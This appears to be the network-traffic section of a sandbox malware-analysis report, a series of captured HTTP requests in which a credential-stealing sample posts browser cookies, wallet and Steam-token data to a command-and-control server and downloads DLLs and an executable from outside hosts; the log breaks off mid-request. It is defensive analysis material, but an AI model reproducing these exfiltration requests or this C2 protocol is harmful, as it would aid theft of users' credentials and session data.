Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDAKJKFCFBGCBGDHCBHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 2d 2d 0d 0a Data Ascii: ------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="message"browsers------AFHDAKJKFCFBGCBGDHCB--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIEBGCBGIDHDGCAKJEBHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="message"plugins------IIIEBGCBGIDHDGCAKJEB--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFIIIJJKJKFHIDGDBAKHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 2d 2d 0d 0a Data Ascii: ------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="message"fplugins------HCFIIIJJKJKFHIDGDBAK--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJEHost: 46.8.231.109Content-Length: 5659Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKFIECBGDHJKECAKFBGHost: 46.8.231.109Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 2d 2d 0d 0a Data Ascii: ------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKFIECBGDHJKECAKFBGHost: 46.8.231.109Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 2d 2d 0d 0a Data Ascii: ------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCBAEBAEBFHCAKFCAKEHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="file"------AFCBAEBAEBFHCAKFCAKE--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIJEHCBAKFCAKFHCGDGHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 2d 2d 0d 0a Data Ascii: ------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="file"------BFIJEHCBAKFCAKFHCGDG--
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKFHost: 46.8.231.109Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKJKEHIJECGCBFIJEGIHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 2d 2d 0d 0a Data Ascii: ------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="message"wallets------FBKJKEHIJECGCBFIJEGI--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHJDHCBAEHJJJKKFIDHost: 46.8.231.109Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 2d 2d 0d 0a Data Ascii: ------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="message"files------GIEHJDHCBAEHJJJKKFID--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHIIEHJKKECGCBFIIJDHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 2d 2d 0d 0a Data Ascii: ------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="file"------CFHIIEHJKKECGCBFIIJD--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCAKKECAEGDGCBFIJEGHHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="message"ybncbhylepme------GCAKKECAEGDGCBFIJEGH--
Source: global traffic	HTTP traffic detected: GET /ldms/a43486128347.exe HTTP/1.1Host: nsdm.cumpar-auto-orice-tip.roCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDBHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 